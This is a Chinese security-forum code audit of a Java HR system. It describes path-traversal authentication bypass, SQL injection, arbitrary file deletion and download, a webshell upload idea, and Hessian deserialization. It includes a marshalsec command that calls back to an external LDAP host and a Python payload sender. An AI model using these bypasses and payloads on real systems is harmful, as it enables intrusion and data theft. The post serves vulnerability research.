问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某人力系统的代码审计
漏洞分析
最近看该系统漏洞公开较多,想审计练练手
某人力系统的代码审计 ========== 前言 -- 最近看该系统漏洞公开较多,想审计练练手 权限绕过 ---- 该系统是由java开发的,查看web.xml看的其定义的过滤器 ![image-20240531095958868](https://shs3.b.qianxin.com/butian_public/f33888430f8e121e05435af36e3b091c6b17db6e16ca0.jpg) 其过滤器是对全部的api进行拦截,跟进其实现 ![image-20240531100129044](https://shs3.b.qianxin.com/butian_public/f3508114976cc118e6193eb67f8ebd770caf051ee1f60.jpg) 可以看的var6变量是通过getRequestURI()获取到的路由信息,该方法有理由分号或者../进行绕过的分享。 搜索过滤器放行操作的doFilter方法,最终确定了两个地方有被利用的风险。 ```java if (!this.needCharSecurityFilter(var6)) { var3.doFilter(var1, var2); } ``` ```java else if(var6.startsWith("/w_selfservice/oauthservlet")) { var3.doFilter(var1, var2); return; } ``` 第二处比较明显url以/w\_selfservice/oauthservlet开头就放行,所以可以通过/w\_selfservice/oauthservlet/../../xxx来绕过访问授权接口。 我们来看看第一个,当this.needCharSecurityFilter()返回为false才能进入if逻辑放行,跟进到该方法 ```java private boolean needCharSecurityFilter(String var1) { boolean var2 = true; if (var1.startsWith("/templates/attestation/")) { return false; } else if (var1.startsWith("/services/")) { return false; } else if (!var1.startsWith("/ext/resources/") && !var1.startsWith("/images/") && !var1.startsWith("/js/")) { String var3 = var1.substring(var1.lastIndexOf(".") + 1).toLowerCase(); if (!var3.equals("gif") && !var3.equals("bmp") && !var3.equals("jpg") && !var3.equals("js") && !var3.equals("htc") && !var3.equals("ico") && !var3.equals("css") && !var3.equals("cab")) { if (this.isLogin(var1)) { return false; } else { return var1.startsWith("/iSignatureHTML/") ? false : var2; } } else { return false; } } else { return false; } }private boolean needCharSecurityFilter(String var1) { boolean var2 = true; if (var1.startsWith("/templates/attestation/")) { return false; } else if (var1.startsWith("/services/")) { return false; } else if (!var1.startsWith("/ext/resources/") && !var1.startsWith("/images/") && !var1.startsWith("/js/")) { String var3 = var1.substring(var1.lastIndexOf(".") + 1).toLowerCase(); if (!var3.equals("gif") && !var3.equals("bmp") && !var3.equals("jpg") && !var3.equals("js") && !var3.equals("htc") && !var3.equals("ico") && !var3.equals("css") && !var3.equals("cab")) { if (this.isLogin(var1)) { return false; } else { return var1.startsWith("/iSignatureHTML/") ? false : var2; } } else { return false; } } else { return false; } } ``` 比较简单的就是前两个判断,以/templates/attestation/或者/services/开头都会放行,同理可通过../访问授权接口 SQL注入 ----- 该系统定义了数据库连接类AdminDb用于与数据库建立连接,定义了`getConnection`方法来返回操作数据库的`Connection`对象,通过查看Dao层,每次进行SQL语句执行时都会调用该方法,全局搜索该方法的调用 ![image-20240531104203067](https://shs3.b.qianxin.com/butian_public/f209666d2021af7a31f28406dfed46a4ea17d664bd4c3.jpg) 可以看的有874处调用。这么多调用要怎么筛查呢? 我们可以先搜索有没有直接对整条sql语句进行查询的类。 在利用java的sql库进行sql语句执行时,常常会调用`createStatement`来获取Statement对象,再调用其定义的相关方法进行SQL语句执行。比如`executeQueryexecuteQuery`或者`execute`等。 于是我们可以搜索其调用 ![image-20240531110656207](https://shs3.b.qianxin.com/butian_public/f8495926b917e43fafa3a61618faba0d2ef95ae510ebb.jpg) 找到两处servlet层的调用,随意跟进查看 ![image-20240531110751133](https://shs3.b.qianxin.com/butian_public/f71328098947cf0b701a9385d754079a86e0baeaeaa75.jpg) 该servlet主要是获取参数`id`和 `type`的值,随后对`id`的进行解密,根据`type`进行不同的表单查询,查看`PubFunc.decrypt(SafeCode.decode(var3));`并未发现有对解密参数进行过滤的操作,导致后续解密后直接拼接到语句中。 至于解密算法的研究,外部已有加密算法[实现项目](https://github.com/vaycore/HrmsTool/releases/download/0.1/HrmsTool.jar) ### 复现 通过工具对payload进行加密 ![image-20240531111535402](https://shs3.b.qianxin.com/butian_public/f945615d030427eb1eef43b25806506a54898e9eed6f6.jpg) 根据web.xml中的配置获取该类的路由并进行发包 ![image-20240531111929086](https://shs3.b.qianxin.com/butian_public/f8113032635d52fcace1d6755210e891166437ee9bc2f.jpg) 成功触发延时5s。 其他地方应该是由Dao层进行了接口封装,我们回到之前那八百多处AdminDb的构造方法在servlet层调用,发现有好多地方 ![image-20240531112724359](https://shs3.b.qianxin.com/butian_public/f574485676d23d15e7f71dd4eb800bf005f4526c40b44.jpg) 随便找一个看看是怎么个事 ![image-20240531113507545](https://shs3.b.qianxin.com/butian_public/f757763a4620d372fc556b6d5d3b83234c4d7044690c1.jpg) 可以看的传入参数a0100和i9999被直接拼接到了语句中,通过调用ContentDAO的search封装方法进行查询。 **思路**:对于这种自封装数据库连接类的一般系统,可通过上述方法快速找到sql语句执行的地方以便发现SQL注入漏洞。 任意文件删除,下载和残缺的上传 --------------- 在翻看web.xml时看的一有关上传的servlet,跟进到其doPost方法 ![image-20240531141815942](https://shs3.b.qianxin.com/butian_public/f9601166f0c4b22cb859c3bf1a4940db9eca5361accc4.jpg) 要进入最下面的if语句(也就是处理上传逻辑),需要var3或者var4变量为true,而var3是根据session获取的,未授权情况下为null,所以只能看看var4。 var4需要由参数`safariORFoxType`决定,根据判断逻辑需要datems参数得到一个时间戳,他的值必须与当前时间戳在两分钟以内,同时`safariORFoxType`的值解密为"true",根据加密算法得到"true"为VHPAATTP2HJFPAATTPvSVQquaEPAATTP3HJDPAATTP。 再往下根据`deleteflag`的值又分为两种不同的处理分支,当`deleteflag=true`时 ![image-20240531142538825](https://shs3.b.qianxin.com/butian_public/f919956de7a7b26f5ead71128d7d49634b1dcdc245788.jpg) 会进行文件删除,因为未存在对../的过滤导致可以造成任意文件删除。 当其未false会进入下面判断逻辑 ![image-20240531143822792](https://shs3.b.qianxin.com/butian_public/f61715554d7040bde8c465dee738c2007387d1447e8fd.jpg) 当down参数为true时会进行文件下载 ![image-20240531144000715](https://shs3.b.qianxin.com/butian_public/f9446018b309dd6fef80e22a1a36feed40823f2eaaad8.jpg) 注意的是要对filename和path要进行加密。 再往下就是上传的处理,主要关注点在下面这块var15是上传文件名切割后的值 ![image-20240531144854762](https://shs3.b.qianxin.com/butian_public/f660966b3566b65560a3dd686638188d65b8320bba1f6.jpg) 这里是对后缀做了双重检查 ```java public static boolean isFileTypeEqual(InputStream var0, String var1) throws IOException { String var2 = getFileTypeByHead(var0); if (StringUtils.isEmpty(var2) && StringUtils.isNotEmpty(var1) && "bmp,jpg,jpeg".indexOf(var1.toLowerCase()) > -1) { return false; } else if (!StringUtils.isEmpty(var2) && !"asf".equalsIgnoreCase(var2.toLowerCase())) { if (StringUtils.isEmpty(var1)) { return false; } else { var1 = var1.toLowerCase(); if (!var2.equals("office03") || !var1.equalsIgnoreCase("doc") && !var1.equalsIgnoreCase("xls") && !var1.equalsIgnoreCase("ppt") && !var1.equalsIgnoreCase("wps") && !var1.equalsIgnoreCase("wpt") && !var1.equalsIgnoreCase("dps") && !var1.equalsIgnoreCase("dpt") && !var1.equalsIgnoreCase("et") && !var1.equalsIgnoreCase("ett")) { if (!var2.equals("office07") && !var2.equalsIgnoreCase("zip") || !var1.equalsIgnoreCase("docx") && !var1.equalsIgnoreCase("xlsx") && !var1.equalsIgnoreCase("pptx") && !var1.equalsIgnoreCase("wps") && !var1.equalsIgnoreCase("wpt") && !var1.equalsIgnoreCase("dps") && !var1.equalsIgnoreCase("dpt") && !var1.equalsIgnoreCase("et") && !var1.equalsIgnoreCase("ett") && !var1.equalsIgnoreCase("doc")) { if ("jpg,png,bmp,jpeg".indexOf(var2.toLowerCase()) > -1 && "jpg,png,bmp,jpeg".indexOf(var1.toLowerCase()) > -1) { return true; } else if ("rm".equalsIgnoreCase(var2) && var1.toLowerCase().startsWith("rm")) { return true; } else { return !var2.equals("xml") || !var1.equalsIgnoreCase("txt") && !var1.equalsIgnoreCase("rpx") ? var2.equalsIgnoreCase(var1) : true; } } else { return true; } } else { return true; } } } else { return true; } } ``` ![image-20240531145624583](https://shs3.b.qianxin.com/butian_public/f584647eb699388e363aabb964278312efc5a042a543f.jpg) 不在上述名单里的后缀会进入if逻辑返回:文件上传失败!您上传的文件为非法文件! 思路:像这种对白名单进行过滤,可以上传压缩包,通过寻找解压的地方要是对路径和后缀为过滤可以构造目录穿越的jsp文件进行解压释放webshell,达到任意上传的效果。 反序列化 ---- 在查看lib中依赖是看的低版本的hessian.jar ![image-20240531152746432](https://shs3.b.qianxin.com/butian_public/f498499f50896a9fff9d3f1ad7fe2bb7428a18c65f429.jpg) 寻找可能的触发点,一般都是继承自`com.caucho.hessian.server.HessianServlet`,在`service`方法中调用invoke方法造成反序列化,具体的分析可以查看su18师傅的[博客](https://su18.org/post/hessian/) 该系统是直接在`web.xml`里注册了`com.caucho.hessian.server.HessianServlet`路由 ![image-20240531154351541](https://shs3.b.qianxin.com/butian_public/f445709806ea25cf374a094b0ba3cfc790d28c51cfc2c.jpg) ![image-20240531154542882](https://shs3.b.qianxin.com/butian_public/f540425c650ab48736efbfe600981a214223487284725.jpg) 复现 -- 首先生成反序列化数据 ```php java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor ldap://bbshuwzyse.dgrh3.cn/ > hessian ``` 编写python脚本发包 ```python import requests import argparse def send(url,payload): proxies = {'http':'127.0.0.1:8080'} headers={'Content-Type':'x-application/hessian'} data=payload res=requests.post(url,headers=headers,data=data,proxies=proxies) return res.text def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", help="hessian site url eg.http://127.0.0.1:8080/HessianTest/hessian") parser.add_argument("-p",help="payload file") args = parser.parse_args() if args.u==None or args.p==None: print('eg. python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian') else: send(args.u, load(args.p)) if __name__ == '__main__': main() #load('hessian') ``` 执行命令 ```php python hessian.py -u http://127.0.0.1:8080/hessianservlet -p hessian ``` ![image-20240531162213083](https://shs3.b.qianxin.com/butian_public/f96225995233113925ee8676c72191b3148d644d072d1.jpg) dnslog成功响应 ![image-20240531162118763](https://shs3.b.qianxin.com/butian_public/f5148004fbae58bd8519eb14de8c033262f5880f38a94.jpg)
发表于 2024-07-03 09:40:51
阅读 ( 26479 )
分类:
漏洞分析
3 推荐
收藏
1 条评论
jwlg
2024-07-04 18:49
源码都是哪里找的呀
请先
登录
后评论
请先
登录
后评论
中铁13层打工人
67 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!